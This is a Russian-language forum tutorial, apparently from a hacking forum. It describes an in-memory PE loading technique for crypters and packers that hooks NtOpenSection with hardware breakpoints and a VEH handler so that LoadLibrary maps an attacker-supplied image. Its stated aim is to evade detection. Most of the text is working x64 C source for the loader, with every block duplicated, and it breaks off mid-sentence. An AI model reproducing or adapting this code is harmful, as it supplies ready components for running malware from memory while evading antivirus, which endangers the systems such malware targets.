Оглавление 1) Введение 2) Суть техники 3) Реализация для x64 PE 4) Тесты 5) Заключение Введение Введение Как известно, большинство крипторов и упаковщиков используют различные методы чтобы распаковать и запустить PE-файл из памяти. Наиболее распространёнными техниками по сей день являются RunPE и LoadPE. Данные техники, особенно если речь идет о LoadPE, в частных случаях и интересных реализациях могут быть вполне эффективными в плане обхода детектов. Суть LoadPE заключается в повторении действий, которые производит системный загрузчик. Наш метод заключается в том, чтобы эти действия не повторять, а самим заставлять загрузчик грузить бинари с памяти. Также должен отметить что представленная в коде реализация была позаимствована у пользователя _Indy (по большей части), однако реализовать этот метод можно не одним способом. Суть техники Суть техники Метод основан на перехвате некоторых системных вызовов, происходящих во внутренней работе системного загрузчика (LoadLibrary), на этапе, когда он пытается найти DLL в \KnownDlls(32). Всё выше перечисленное будет реализовано на C, и в удобной форме приложено к топику. Метод, как было уже выяснено, должен работать для любых самых популярных форматов PE-файлов (DLL/EXE), но с .exe есть некоторые мелочи, о которых мы так же расскажем. Перейдём к сути. Что нужно для реализации техники? Начинаем как в обычном LoadPE, создаем секцию, если у целевого образа нет релокаций, пытаемся сделать мап по предпочтительной базе. Если релокации есть, маппим по рандом адресу (*BaseAddress = 0) . Копируем заголовки, секции в ранее созданное отображение. Патчим релоки, если образ был записан не по своей базе. Если пытаемся запустить .exe файл, то добавляем атрибут IMAGE_FILE_DLL в поле Characteristics файлового заголовка PE-файла, и, обязательно, зануляем AddressOfEntryPoint в опциональном заголовке. Сохраним дескриптор секции, базовый адрес отображения, по которому удалось записать (и релоцировать) целевой образ. Сделаем анмап отображения, ведь оно нам больше не нужно. Начинаем хукать. Ставим HWBP на NtOpenSection , добавляем VEH-обработчик, который и будет делать всю работу, вызываем LoadLibrary с переданным в нее заранее фейковым именем DLL (желательно, фейковым), обрабатываем исключения, проверяем имя образа, имя директории, заставляем загрузчик обработать и исполнить наш PE-файл из памяти, подменяя аргументы в стэке/регистрах. В случае, если мы пытаемся загрузить .exe, после всех процедур необходимо вызвать EntryPoint , и, желательно, пропатчить ImageBaseAddress в PEB базовым адресом, по которому у нас загрузился .exe Готово! Перед разговором об альтернативной реализации рассмотрим в вкратце как происходит загрузка библиотеки при вызове LoadLibrary, рассмотрим те вызовы которые интересны нам. Лоадер начинает поиск файла по директориям через множество вызовов NtQueryAttributesFile . При нахождении файла библиотеки происходит вызов NtOpenFile . После получения дескриптора файла создаётся секция через NtCreateSection , последним аргументом передаётся дескриптор файла открытого ранее. Создаётся отображение файла через вызов NtMapViewOfSection . Закрытие дескриптора файла и секции через NtClose . Реализация для x64 PE Реализация для x64 PE Чтож, начнем с заголовков. Создадим заголовки со всеми необходимыми для нас внутренними структурами (на скриншоте свёрнуты для экономии места). Также, добавим прототипы Nt-функций и макрос для вывода дебаг сообщений. И, естественно, самое главное – структуру LL_WRAPPER , где будет храниться вся нужная для перехвата и загрузки PE информация. Покончили со структурами, перейдем к коду. Напишем две функции для копирования образа в память/его релокаций. Функция LdrCreateImageSection . Создает секцию и в зависимости от наличия релоков маппит либо по базе, либо по рандом адресу. Вызывает LdrConvertFileToImage для копирования образа и патча релоков. PVOID LdrCreateImageSection(PLL_WRAPPER lwe, PVOID ImageBase) { LARGE_INTEGER sec_size; OBJECT_ATTRIBUTES ObjAttr; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase; PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew); DWORD size, rva; ULONG_PTR NewImageBase; HANDLE LHandle = NULL; SIZE_T ViewSize; PVOID MapAddress = NULL; NTSTATUS STATUS; BOOL has_reloc; lwe->entrypoint = nt->OptionalHeader.AddressOfEntryPoint; // save Ep in LL_WRAPPER struct if(!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) // check if PE is DLL lwe->is_dll = FALSE; else lwe->is_dll = TRUE; sec_size.QuadPart = nt->OptionalHeader.SizeOfImage; ViewSize = nt->OptionalHeader.SizeOfImage; // check if the binary has relocation information size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; has_reloc = size == 0? FALSE : TRUE; if (!has_reloc) { DPRINT("No relocation information present, setting the base to: 0x%p", (PVOID)nt->OptionalHeader.ImageBase); MapAddress = (PVOID)nt->OptionalHeader.ImageBase; } InitializeObjectAttributes(&ObjAttr, 0, 0, 0, 0); STATUS = lwe->pZwCreateSection(&LHandle, SECTION_ALL_ACCESS, &ObjAttr, &sec_size, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0); if(!NT_SUCCESS(STATUS)){ DPRINT("Unable to create section. NSTATUS: %lu", STATUS); return NULL; } STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE); if(!NT_SUCCESS(STATUS) && !has_reloc) { DPRINT("Unable to map view of section on preferred base. Trying to map at random base. NSTATUS: %lu", STATUS); // relevant only for x64 binaries MapAddress = NULL; STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE); if(!NT_SUCCESS(STATUS)) { DPRINT("Fuck it. NTSTATUS: %lu", STATUS); return NULL; } } LdrConvertFileToImage(lwe, ImageBase, MapAddress, has_reloc); STATUS = lwe->pZwUnmapViewOfSection(NtCurrentProcess(), MapAddress); if(!NT_SUCCESS(STATUS)) { DPRINT("Unable to Unmap view of section. NSTATUS: %lu", STATUS); return NULL; } DPRINT("Created section handle: %p", LHandle); lwe->hSection = LHandle; // save section handle lwe->DllBase = MapAddress; // save base address return MapAddress; } C PVOID LdrCreateImageSection(PLL_WRAPPER lwe, PVOID ImageBase) { LARGE_INTEGER sec_size; OBJECT_ATTRIBUTES ObjAttr; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase; PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew); DWORD size, rva; ULONG_PTR NewImageBase; HANDLE LHandle = NULL; SIZE_T ViewSize; PVOID MapAddress = NULL; NTSTATUS STATUS; BOOL has_reloc; lwe->entrypoint = nt->OptionalHeader.AddressOfEntryPoint; // save Ep in LL_WRAPPER struct if(!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) // check if PE is DLL lwe->is_dll = FALSE; else lwe->is_dll = TRUE; sec_size.QuadPart = nt->OptionalHeader.SizeOfImage; ViewSize = nt->OptionalHeader.SizeOfImage; // check if the binary has relocation information size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; has_reloc = size == 0? FALSE : TRUE; if (!has_reloc) { DPRINT("No relocation information present, setting the base to: 0x%p", (PVOID)nt->OptionalHeader.ImageBase); MapAddress = (PVOID)nt->OptionalHeader.ImageBase; } InitializeObjectAttributes(&ObjAttr, 0, 0, 0, 0); STATUS = lwe->pZwCreateSection(&LHandle, SECTION_ALL_ACCESS, &ObjAttr, &sec_size, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0); if(!NT_SUCCESS(STATUS)){ DPRINT("Unable to create section. NSTATUS: %lu", STATUS); return NULL; } STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE); if(!NT_SUCCESS(STATUS) && !has_reloc) { DPRINT("Unable to map view of section on preferred base. Trying to map at random base. NSTATUS: %lu", STATUS); // relevant only for x64 binaries MapAddress = NULL; STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE); if(!NT_SUCCESS(STATUS)) { DPRINT("Fuck it. NTSTATUS: %lu", STATUS); return NULL; } } LdrConvertFileToImage(lwe, ImageBase, MapAddress, has_reloc); STATUS = lwe->pZwUnmapViewOfSection(NtCurrentProcess(), MapAddress); if(!NT_SUCCESS(STATUS)) { DPRINT("Unable to Unmap view of section. NSTATUS: %lu", STATUS); return NULL; } DPRINT("Created section handle: %p", LHandle); lwe->hSection = LHandle; // save section handle lwe->DllBase = MapAddress; // save base address return MapAddress; } Функция LdrConvertFileToImage копирует образ в память, релоцирует, и, при необходимости, зануляет EP и меняет характеристики в файловом заголовке. bool LdrConvertFileToImage(PLL_WRAPPER lwe, PVOID ImageBase, PVOID MapAddress, BOOL has_reloc) { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase; PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew); PIMAGE_NT_HEADERS ntnew = RVA2VA(PIMAGE_NT_HEADERS, MapAddress, dos->e_lfanew); PIMAGE_SECTION_HEADER sh; PBYTE ofs; PIMAGE_RELOC list; PIMAGE_BASE_RELOCATION ibr; DWORD rva, size; size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; DPRINT("Copying Headers"); DPRINT("nt->FileHeader.SizeOfOptionalHeader: %d", nt->FileHeader.SizeOfOptionalHeader); DPRINT("nt->OptionalHeader.SizeOfHeaders: %d", nt->OptionalHeader.SizeOfHeaders); DPRINT("Copying %d bytes", nt->OptionalHeader.SizeOfHeaders); mem_copy(MapAddress, ImageBase, nt->OptionalHeader.SizeOfHeaders); DPRINT("DOS Signature (Magic): %08lx, %p", ((PIMAGE_DOS_HEADER)MapAddress)->e_magic, &(((PIMAGE_DOS_HEADER)MapAddress)->e_magic)); DPRINT("NT Signature: %lx, %p", ntnew->Signature, &(ntnew->Signature)); DPRINT("Copying each section to memory %p", MapAddress); sh = IMAGE_FIRST_SECTION(ntnew); for(int i=0; i<ntnew->FileHeader.NumberOfSections; i++) { PBYTE dest = (PBYTE)MapAddress + sh[i].VirtualAddress; PBYTE source = (PBYTE)ImageBase + sh[i].PointerToRawData; if (sh[i].SizeOfRawData == 0) DPRINT("Section is empty of data, but may contain uninitialized data."); // Copy the section data mem_copy(dest, source, sh[i].SizeOfRawData); // Update the actual address of the section sh[i].Misc.PhysicalAddress = (DWORD)*dest; DPRINT("Copied section name: %s", sh[i].Name); DPRINT("Copied section source offset: 0x%X", sh[i].VirtualAddress); DPRINT("Copied section dest offset: 0x%X", sh[i].PointerToRawData); DPRINT("Copied section absolute address: 0x%lX", sh[i].Misc.PhysicalAddress); DPRINT("Copied section size: 0x%lX", sh[i].SizeOfRawData); } DPRINT("Sections copied."); if(!lwe->is_dll) { DPRINT("File is exe, changing characteristics in FileHeader and nulling EP."); DWORD null = 0; ntnew->FileHeader.Characteristics = ntnew->FileHeader.Characteristics | IMAGE_FILE_DLL; mem_copy(&ntnew->OptionalHeader.AddressOfEntryPoint, &null, sizeof(DWORD)); } ntnew->OptionalHeader.ImageBase = (ULONG_PTR)MapAddress; ofs = (PBYTE)MapAddress - nt->OptionalHeader.ImageBase; //relocs if (ofs != 0 && has_reloc) { DPRINT("Applying Relocations"); rva = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; ibr = RVA2VA(PIMAGE_BASE_RELOCATION, MapAddress, rva); while ((PBYTE)ibr < ((PBYTE)MapAddress + rva + size) && ibr->SizeOfBlock != 0) { list = (PIMAGE_RELOC)(ibr + 1); while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) { // check that the RVA is within the boundaries of the PE if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage) { PULONG_PTR address = (PULONG_PTR)((PBYTE)MapAddress + ibr->VirtualAddress + list->offset); if (list->type == IMAGE_REL_BASED_DIR64) { *address += (ULONG_PTR)ofs; } else if (list->type == IMAGE_REL_BASED_HIGHLOW) { *address += (DWORD)(ULONG_PTR)ofs; } else if (list->type == IMAGE_REL_BASED_HIGH) { *address += HIWORD(ofs); } else if (list->type == IMAGE_REL_BASED_LOW) { *address += LOWORD(ofs); } else if (list->type != IMAGE_REL_BASED_ABSOLUTE) { DPRINT("ERROR: Unrecognized Relocation type %08lx.", list->type); return false; } } list++; } ibr = (PIMAGE_BASE_RELOCATION)list; } } return true; } C bool LdrConvertFileToImage(PLL_WRAPPER lwe, PVOID ImageBase, PVOID MapAddress, BOOL has_reloc) { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase; PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew); PIMAGE_NT_HEADERS ntnew = RVA2VA(PIMAGE_NT_HEADERS, MapAddress, dos->e_lfanew); PIMAGE_SECTION_HEADER sh; PBYTE ofs; PIMAGE_RELOC list; PIMAGE_BASE_RELOCATION ibr; DWORD rva, size; size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; DPRINT("Copying Headers"); DPRINT("nt->FileHeader.SizeOfOptionalHeader: %d", nt->FileHeader.SizeOfOptionalHeader); DPRINT("nt->OptionalHeader.SizeOfHeaders: %d", nt->OptionalHeader.SizeOfHeaders); DPRINT("Copying %d bytes", nt->OptionalHeader.SizeOfHeaders); mem_copy(MapAddress, ImageBase, nt->OptionalHeader.SizeOfHeaders); DPRINT("DOS Signature (Magic): %08lx, %p", ((PIMAGE_DOS_HEADER)MapAddress)->e_magic, &(((PIMAGE_DOS_HEADER)MapAddress)->e_magic)); DPRINT("NT Signature: %lx, %p", ntnew->Signature, &(ntnew->Signature)); DPRINT("Copying each section to memory %p", MapAddress); sh = IMAGE_FIRST_SECTION(ntnew); for(int i=0; i<ntnew->FileHeader.NumberOfSections; i++) { PBYTE dest = (PBYTE)MapAddress + sh[i].VirtualAddress; PBYTE source = (PBYTE)ImageBase + sh[i].PointerToRawData; if (sh[i].SizeOfRawData == 0) DPRINT("Section is empty of data, but may contain uninitialized data."); // Copy the section data mem_copy(dest, source, sh[i].SizeOfRawData); // Update the actual address of the section sh[i].Misc.PhysicalAddress = (DWORD)*dest; DPRINT("Copied section name: %s", sh[i].Name); DPRINT("Copied section source offset: 0x%X", sh[i].VirtualAddress); DPRINT("Copied section dest offset: 0x%X", sh[i].PointerToRawData); DPRINT("Copied section absolute address: 0x%lX", sh[i].Misc.PhysicalAddress); DPRINT("Copied section size: 0x%lX", sh[i].SizeOfRawData); } DPRINT("Sections copied."); if(!lwe->is_dll) { DPRINT("File is exe, changing characteristics in FileHeader and nulling EP."); DWORD null = 0; ntnew->FileHeader.Characteristics = ntnew->FileHeader.Characteristics | IMAGE_FILE_DLL; mem_copy(&ntnew->OptionalHeader.AddressOfEntryPoint, &null, sizeof(DWORD)); } ntnew->OptionalHeader.ImageBase = (ULONG_PTR)MapAddress; ofs = (PBYTE)MapAddress - nt->OptionalHeader.ImageBase; //relocs if (ofs != 0 && has_reloc) { DPRINT("Applying Relocations"); rva = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; ibr = RVA2VA(PIMAGE_BASE_RELOCATION, MapAddress, rva); while ((PBYTE)ibr < ((PBYTE)MapAddress + rva + size) && ibr->SizeOfBlock != 0) { list = (PIMAGE_RELOC)(ibr + 1); while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) { // check that the RVA is within the boundaries of the PE if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage) { PULONG_PTR address = (PULONG_PTR)((PBYTE)MapAddress + ibr->VirtualAddress + list->offset); if (list->type == IMAGE_REL_BASED_DIR64) { *address += (ULONG_PTR)ofs; } else if (list->type == IMAGE_REL_BASED_HIGHLOW) { *address += (DWORD)(ULONG_PTR)ofs; } else if (list->type == IMAGE_REL_BASED_HIGH) { *address += HIWORD(ofs); } else if (list->type == IMAGE_REL_BASED_LOW) { *address += LOWORD(ofs); } else if (list->type != IMAGE_REL_BASED_ABSOLUTE) { DPRINT("ERROR: Unrecognized Relocation type %08lx.", list->type); return false; } } list++; } ibr = (PIMAGE_BASE_RELOCATION)list; } } return true; } Небольшая функция, скорее для удобства. Подготавливает регистры перед установкой (следующего) HWBP, можно перенести функционал из нее в основной VEH-обработчик (необходимо будет переносить для x32… ) bool prepare(ULONG_PTR func_addr, CONTEXT* context, PLL_WRAPPER lwe) { if(!context) { context = (PCONTEXT)lwe->pRtlAllocateHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, sizeof(CONTEXT)); context->ContextFlags = CONTEXT_DEBUG_REGISTERS; lwe->pZwGetContextThread(NtCurrentThread(), context); context->Dr7 = 1 << 0; context->Dr3 = (ULONG_PTR)lwe; // храним указатель на структуру в Dr3, поскольку там нет ничего важного context->Dr0 = func_addr; lwe->pZwContinue(context, FALSE); lwe->pRtlFreeHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, context); } else{ context->Dr7 = 1 << 0; context->Dr3 = (ULONG_PTR)lwe; context->Dr0 = func_addr; lwe->pZwContinue(context, FALSE); } return true; } C bool prepare(ULONG_PTR func_addr, CONTEXT* context, PLL_WRAPPER lwe) { if(!context) { context = (PCONTEXT)lwe->pRtlAllocateHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, sizeof(CONTEXT)); context->ContextFlags = CONTEXT_DEBUG_REGISTERS; lwe->pZwGetContextThread(NtCurrentThread(), context); context->Dr7 = 1 << 0; context->Dr3 = (ULONG_PTR)lwe; // храним указатель на структуру в Dr3, поскольку там нет ничего важного context->Dr0 = func_addr; lwe->pZwContinue(context, FALSE); lwe->pRtlFreeHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, context); } else{ context->Dr7 = 1 << 0; context->Dr3 = (ULONG_PTR)lwe; context->Dr0 = func_addr; lwe->pZwContinue(context, FALSE); } return true; } Самая громоздкая функция в исходнике. VEH-обработчик. Выполняет всю основную работу по перехвату загрузчика. Те, кто знаком с VEH, должны понимать, что тут происходит. #define RET_INSTRUCTION 0xC3 // 0xC2 для wow64 ntdll LONG veh (PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { //HWBP PLL_WRAPPER lwe = (PLL_WRAPPER)ExceptionInfo->ContextRecord->Dr3; if(lwe->status == ZwOpenSection) { DPRINT("lwe->status == ZwOpenSection"); WCHAR NameBuffer[MAX_PATH*2]; UNICODE_STRING ObjectName; ULONG ReturnLength = 0; PUNICODE_STRING TempName; POBJECT_ATTRIBUTES ObjectAttr = (POBJECT_ATTRIBUTES)ExceptionInfo->ContextRecord->R8; //3rd arg DPRINT("ObjectAttr->ObjectName: %ws", ObjectAttr->ObjectName->Buffer); DPRINT("ObjectAttr->RootDirectory: %p", ObjectAttr->RootDirectory); TempName = ObjectAttr->ObjectName; // save tempname if(lwe->pRtlCompareUnicodeString(TempName, &lwe->DllName, TRUE)) lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); ObjectName.Buffer = NameBuffer; // init ObjectName ObjectName.Length = MAX_PATH*2; ObjectName.MaximumLength = MAX_PATH*2; if(lwe->pZwQueryObject(ObjectAttr->RootDirectory, ObjectNameInformation, &ObjectName, MAX_PATH*2 + sizeof(UNICODE_STRING), NULL) != 0x00) { lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } DPRINT("ObjectName.Buffer: %ws", ObjectName.Buffer); if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory, TRUE)) { //check if it's knowndlls if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory32, TRUE)) { lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } } ULONG_PTR* hSection = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rcx; // ptr to section handle *hSection = (ULONG_PTR)lwe->hSection; // change DPRINT("Changed hSection to: %llu", *hSection); BYTE ret = 0; PBYTE func_base = (PBYTE)ExceptionInfo->ContextRecord->Rip; while(*func_base != RET_INSTRUCTION){ func_base++; ret++; } //find ret to skip ZwOpenSection ExceptionInfo->ContextRecord->Rax = 0; ExceptionInfo->ContextRecord->Rip += ret; lwe->status = ZwMapViewOfSection; prepare((ULONG_PTR)lwe->pZwMapViewOfSection, ExceptionInfo->ContextRecord, lwe); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } if(lwe->status == ZwMapViewOfSection) { DPRINT("lwe->status == ZwMapViewOfSection"); ULONG_PTR hSection = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx; HANDLE hProcess = (HANDLE)ExceptionInfo->ContextRecord->Rdx; ULONG_PTR *BaseAddress = (ULONG_PTR *)ExceptionInfo->ContextRecord->R8; ULONG_PTR* RSP = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rsp; ULONG *AllocationType = (ULONG*)((char*)RSP + 9 * 8); ULONG *Protection = (ULONG*)((char*)RSP + 10 * 8); #ifdef DEBUG ULONG_PTR ZeroBits = (ULONG_PTR)ExceptionInfo->ContextRecord->R9; SIZE_T *CommitSize = (SIZE_T*)((char*)RSP + 5 * 8); PLARGE_INTEGER *SectionOffset = (PLARGE_INTEGER*)((char*)RSP + 6 * 8); PSIZE_T* size = (SIZE_T**)((char*)RSP + 7 * 8); ULONG *InheritDisposition = (ULONG*)((char*)RSP + 8 * 8); #endif if(hSection != (ULONG_PTR)lwe->hSection) { DPRINT("Section handle is not equal to pre-created one"); DPRINT("Section handle: %p", hSection); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } if(hProcess != NtCurrentProcess()) { DPRINT("Process handle is not equal to current process handle (pseudo)"); DPRINT("Process handle: %p", hProcess); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } if(hSection == (ULONG_PTR)lwe->hSection && hProcess == NtCurrentProcess()) { DPRINT("Handle of section is equal to pre-created section handle, and the process handle is ours."); *AllocationType = 0; // Cause there will be always SEC_FILE, we don't need that *Protection = PAGE_EXECUTE_READWRITE; // :(. u can write handler to set proper protections inside veh handler, but there's rwx map *BaseAddress = (ULONG_PTR)lwe->DllBase; DPRINT("ZwMapViewOfSection: SECTION HANDLE: %p, PROCESS HANDLE: %p, BASE ADDRESS: %p, ZeroBits: %llu, CommitSize: %llu, SectionOffset: %p, VIEW SIZE: %llu, InheritDisposition: %lu, AllocationType: %lu, Win32Protect: %lu", \ hSection, hProcess, *BaseAddress, ZeroBits, *CommitSize, *SectionOffset, **size, *InheritDisposition, *AllocationType, *Protection); lwe->status = ZwClose; prepare(lwe->pZwClose, ExceptionInfo->ContextRecord, lwe); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } } if(lwe->status == ZwClose) { DPRINT("lwe->status == ZwClose"); ULONG_PTR handle = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx; if(handle == (ULONG_PTR)lwe->hSection) { DPRINT("Handle of section is equal to pre-created section handle!"); DPRINT("ZwClose: section handle: %llu", handle); lwe->status = End; lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } else { DPRINT("Handle of section is not equal to pre-created section handle."); DPRINT("ZwClose: section handle: %llu", handle); ExceptionInfo->ContextRecord->EFlags |= 0x10000; lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } } if(lwe->status == End) { DPRINT("lwe->status == End"); ExceptionInfo->ContextRecord->Dr0 = 0; ExceptionInfo->ContextRecord->Dr1 = 0; ExceptionInfo->ContextRecord->Dr2 = 0; ExceptionInfo->ContextRecord->Dr3 = 0; ExceptionInfo->ContextRecord->Dr6 = 0; ExceptionInfo->ContextRecord->Dr7 = 0; ExceptionInfo->ContextRecord->EFlags |= 0x10000; lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } return EXCEPTION_CONTINUE_SEARCH; } C #define RET_INSTRUCTION 0xC3 // 0xC2 для wow64 ntdll LONG veh (PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { //HWBP PLL_WRAPPER lwe = (PLL_WRAPPER)ExceptionInfo->ContextRecord->Dr3; if(lwe->status == ZwOpenSection) { DPRINT("lwe->status == ZwOpenSection"); WCHAR NameBuffer[MAX_PATH*2]; UNICODE_STRING ObjectName; ULONG ReturnLength = 0; PUNICODE_STRING TempName; POBJECT_ATTRIBUTES ObjectAttr = (POBJECT_ATTRIBUTES)ExceptionInfo->ContextRecord->R8; //3rd arg DPRINT("ObjectAttr->ObjectName: %ws", ObjectAttr->ObjectName->Buffer); DPRINT("ObjectAttr->RootDirectory: %p", ObjectAttr->RootDirectory); TempName = ObjectAttr->ObjectName; // save tempname if(lwe->pRtlCompareUnicodeString(TempName, &lwe->DllName, TRUE)) lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); ObjectName.Buffer = NameBuffer; // init ObjectName ObjectName.Length = MAX_PATH*2; ObjectName.MaximumLength = MAX_PATH*2; if(lwe->pZwQueryObject(ObjectAttr->RootDirectory, ObjectNameInformation, &ObjectName, MAX_PATH*2 + sizeof(UNICODE_STRING), NULL) != 0x00) { lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } DPRINT("ObjectName.Buffer: %ws", ObjectName.Buffer); if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory, TRUE)) { //check if it's knowndlls if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory32, TRUE)) { lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } } ULONG_PTR* hSection = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rcx; // ptr to section handle *hSection = (ULONG_PTR)lwe->hSection; // change DPRINT("Changed hSection to: %llu", *hSection); BYTE ret = 0; PBYTE func_base = (PBYTE)ExceptionInfo->ContextRecord->Rip; while(*func_base != RET_INSTRUCTION){ func_base++; ret++; } //find ret to skip ZwOpenSection ExceptionInfo->ContextRecord->Rax = 0; ExceptionInfo->ContextRecord->Rip += ret; lwe->status = ZwMapViewOfSection; prepare((ULONG_PTR)lwe->pZwMapViewOfSection, ExceptionInfo->ContextRecord, lwe); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } if(lwe->status == ZwMapViewOfSection) { DPRINT("lwe->status == ZwMapViewOfSection"); ULONG_PTR hSection = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx; HANDLE hProcess = (HANDLE)ExceptionInfo->ContextRecord->Rdx; ULONG_PTR *BaseAddress = (ULONG_PTR *)ExceptionInfo->ContextRecord->R8; ULONG_PTR* RSP = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rsp; ULONG *AllocationType = (ULONG*)((char*)RSP + 9 * 8); ULONG *Protection = (ULONG*)((char*)RSP + 10 * 8); #ifdef DEBUG ULONG_PTR ZeroBits = (ULONG_PTR)ExceptionInfo->ContextRecord->R9; SIZE_T *CommitSize = (SIZE_T*)((char*)RSP + 5 * 8); PLARGE_INTEGER *SectionOffset = (PLARGE_INTEGER*)((char*)RSP + 6 * 8); PSIZE_T* size = (SIZE_T**)((char*)RSP + 7 * 8); ULONG *InheritDisposition = (ULONG*)((char*)RSP + 8 * 8); #endif if(hSection != (ULONG_PTR)lwe->hSection) { DPRINT("Section handle is not equal to pre-created one"); DPRINT("Section handle: %p", hSection); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } if(hProcess != NtCurrentProcess()) { DPRINT("Process handle is not equal to current process handle (pseudo)"); DPRINT("Process handle: %p", hProcess); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } if(hSection == (ULONG_PTR)lwe->hSection && hProcess == NtCurrentProcess()) { DPRINT("Handle of section is equal to pre-created section handle, and the process handle is ours."); *AllocationType = 0; // Cause there will be always SEC_FILE, we don't need that *Protection = PAGE_EXECUTE_READWRITE; // :(. u can write handler to set proper protections inside veh handler, but there's rwx map *BaseAddress = (ULONG_PTR)lwe->DllBase; DPRINT("ZwMapViewOfSection: SECTION HANDLE: %p, PROCESS HANDLE: %p, BASE ADDRESS: %p, ZeroBits: %llu, CommitSize: %llu, SectionOffset: %p, VIEW SIZE: %llu, InheritDisposition: %lu, AllocationType: %lu, Win32Protect: %lu", \ hSection, hProcess, *BaseAddress, ZeroBits, *CommitSize, *SectionOffset, **size, *InheritDisposition, *AllocationType, *Protection); lwe->status = ZwClose; prepare(lwe->pZwClose, ExceptionInfo->ContextRecord, lwe); lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } } if(lwe->status == ZwClose) { DPRINT("lwe->status == ZwClose"); ULONG_PTR handle = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx; if(handle == (ULONG_PTR)lwe->hSection) { DPRINT("Handle of section is equal to pre-created section handle!"); DPRINT("ZwClose: section handle: %llu", handle); lwe->status = End; lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } else { DPRINT("Handle of section is not equal to pre-created section handle."); DPRINT("ZwClose: section handle: %llu", handle); ExceptionInfo->ContextRecord->EFlags |= 0x10000; lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } } if(lwe->status == End) { DPRINT("lwe->status == End"); ExceptionInfo->ContextRecord->Dr0 = 0; ExceptionInfo->ContextRecord->Dr1 = 0; ExceptionInfo->ContextRecord->Dr2 = 0; ExceptionInfo->ContextRecord->Dr3 = 0; ExceptionInfo->ContextRecord->Dr6 = 0; ExceptionInfo->ContextRecord->Dr7 = 0; ExceptionInfo->ContextRecord->EFlags |= 0x10000; lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE); } return EXCEPTION_CONTINUE_SEARCH; } Собственно, точка входа. Единственное место, где появляется какой-либо импорт и строки, все остальные функции адаптированы для использования в 